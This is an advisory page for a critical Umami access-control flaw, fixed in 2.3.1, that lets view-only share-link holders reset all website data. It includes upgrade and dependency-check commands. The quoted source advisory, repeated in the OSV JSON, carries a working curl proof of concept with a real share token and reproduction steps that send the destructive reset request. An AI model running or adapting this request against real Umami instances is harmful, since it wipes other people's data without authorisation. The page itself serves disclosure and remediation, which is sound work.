GHSA-8www-cffh-4q98: Umami Anyone With A Share Link Vulnerability

CRITICAL
CVSS 9.6
Published
Advisory Summary

GHSA-8www-cffh-4q98 is a CRITICAL (CVSS 9.6) anyone with a share link vulnerability (General Security Weakness) affecting Umami libraries in the npm ecosystem. The issue involves anyone with a share link can reset all website data in umami. Remediation is available by upgrading affected packages to version 2.3.1.

GHSA-8www-cffh-4q98 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-8www-cffh-4q98
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification General Security Weakness
Affected Product Umami
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-8www-cffh-4q98

To remediate this vulnerability, upgrade all affected Umami dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

umami fixed: 2.3.1
npm install umami@2.3.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls umami

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-8www-cffh-4q98, inspect your project dependencies using npm:

npm ls umami

Analyze the terminal output to locate any version of Umami in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.1), your application is affected.

Note: The npm ls umami command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under General Security Weakness. In Umami, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Anyone with a share link (permissions to view) can reset the website data. ### Details When a user navigates to a `/share/` URL, he receives a share token which is used for authentication. This token is later verified by `useAuth`. After the token is verified, the user can call most of the `GET` APIs that allow fetching stats about a website. The `POST /reset` endpoint is secured using `canViewWebsite` which is the incorrect verification for such destructive action. This makes it possible to completly reset all website data ONLY with view permissions - [permalink](https://github.com/umami-software/umami/blob/7bfbe264852558a148c7741f8637ff2b266d48cd/pages/api/websites/%5Bid%5D/reset.ts#L22) ### PoC ```bash curl -X POST 'https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset' \ -H 'authority: analytics.umami.is' \ -H 'accept: application/json' \ -H 'accept-language: en-US,en;q=0.9' \ -H 'authorization: Bearer undefined' \ -H 'cache-control: no-cache' \ -H 'content-type: application/json' \ -H 'pragma: no-cache' \ -H 'referer: https://analytics.umami.is/share/bw6MFhkwpwEXFsbd/test' \ -H 'sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"' \ -H 'sec-ch-ua-mobile: ?0' \ -H 'sec-ch-ua-platform: "Linux"' \ -H 'sec-fetch-dest: empty' \ -H 'sec-fetch-mode: cors' \ -H 'sec-fetch-site: same-origin' \ -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36' \ -H 'x-umami-share-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJiODI1MDYxOC1jY2I1LTQ3ZmItODM1MC0zMWM5NjE2OWExOTgiLCJpYXQiOjE2OTAzNjkxOTl9.zTfwFrfggE5na7rOOgkUobEBm48AH_8WVyh2RgJGzcw' \ --compressed ``` You can reproduce this by: * Accessing a website using it's share link * Copy the `token` received from the the received from the `GET /share/{website-id}` * Send a POST request to `https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset` with `x-umami-share-token: ` header equal to the token copied in the previous step * The website data is now cleared ### Impact Everyone with an open share link exposed to the internet!

GHSA-8www-cffh-4q98 Affected Umami Versions

1 component(s)
Fixed Versions:
2.3.1
Product / Package Ecosystem Affected Versions Fixed Version
umami
npm
< 2.3.1
2.3.1

References

Frequently Asked Questions

What is GHSA-8www-cffh-4q98?
GHSA-8www-cffh-4q98 is a security vulnerability in Umami involving Anyone with a share link can RESET all website data in Umami under General Security Weakness.
Which Umami versions are affected?
Affected versions include releases prior to 2.3.1 across affected packages: umami.
What version fixes GHSA-8www-cffh-4q98?
Upgrading to 2.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is umami affected?
Yes, umami is affected in releases prior to 2.3.1. Upgrade your dependency to 2.3.1 or later.
What is the CVSS score of GHSA-8www-cffh-4q98?
GHSA-8www-cffh-4q98 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H.
What CWE is associated with GHSA-8www-cffh-4q98?
GHSA-8www-cffh-4q98 is classified under General Security Weakness.
How can I check npm dependencies for GHSA-8www-cffh-4q98?
Run the dependency tree command: 'npm ls umami'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8www-cffh-4q98",
  "modified" : "2023-07-28T15:33:14Z",
  "published" : "2023-07-28T15:33:14Z",
  "aliases" : [ ],
  "summary" : "Anyone with a share link can RESET all website data in Umami",
  "details" : "### Summary\nAnyone with a share link (permissions to view) can reset the website data.\n\n### Details\nWhen a user navigates to a `/share/` URL, he receives a share token which is used for authentication. This token is later verified by `useAuth`. After the token is verified, the user can call most of the `GET` APIs that allow fetching stats about a website.\n\nThe `POST /reset` endpoint is secured using `canViewWebsite` which is the incorrect verification for such destructive action. This makes it possible to completly reset all website data ONLY with view permissions - [permalink](https://github.com/umami-software/umami/blob/7bfbe264852558a148c7741f8637ff2b266d48cd/pages/api/websites/%5Bid%5D/reset.ts#L22)\n\n\n### PoC\n```bash\ncurl -X POST 'https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset' \\\n  -H 'authority: analytics.umami.is' \\\n  -H 'accept: application/json' \\\n  -H 'accept-language: en-US,en;q=0.9' \\\n  -H 'authorization: Bearer undefined' \\\n  -H 'cache-control: no-cache' \\\n  -H 'content-type: application/json' \\\n  -H 'pragma: no-cache' \\\n  -H 'referer: https://analytics.umami.is/share/bw6MFhkwpwEXFsbd/test' \\\n  -H 'sec-ch-ua: \"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\"' \\\n  -H 'sec-ch-ua-mobile: ?0' \\\n  -H 'sec-ch-ua-platform: \"Linux\"' \\\n  -H 'sec-fetch-dest: empty' \\\n  -H 'sec-fetch-mode: cors' \\\n  -H 'sec-fetch-site: same-origin' \\\n  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36' \\\n  -H 'x-umami-share-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJiODI1MDYxOC1jY2I1LTQ3ZmItODM1MC0zMWM5NjE2OWExOTgiLCJpYXQiOjE2OTAzNjkxOTl9.zTfwFrfggE5na7rOOgkUobEBm48AH_8WVyh2RgJGzcw' \\\n  --compressed\n```\n\nYou can reproduce this by:\n* Accessing a website using it's share link\n* Copy the `token` received from the the received from the `GET /share/{website-id}`\n* Send a POST request to `https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset` with `x-umami-share-token: ` header equal to the token copied in the previous step\n* The website data is now cleared\n\n### Impact\nEveryone with an open share link exposed to the internet!",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "umami"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/umami-software/umami/security/advisories/GHSA-8www-cffh-4q98"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/umami-software/umami/commit/ec48a4e3250e9cefc481b339a90e6ceea6f1ec2b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/umami-software/umami"
  } ],
  "database_specific" : {
    "cwe_ids" : [ ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-07-28T15:33:14Z",
    "nvd_published_at" : null
  }
}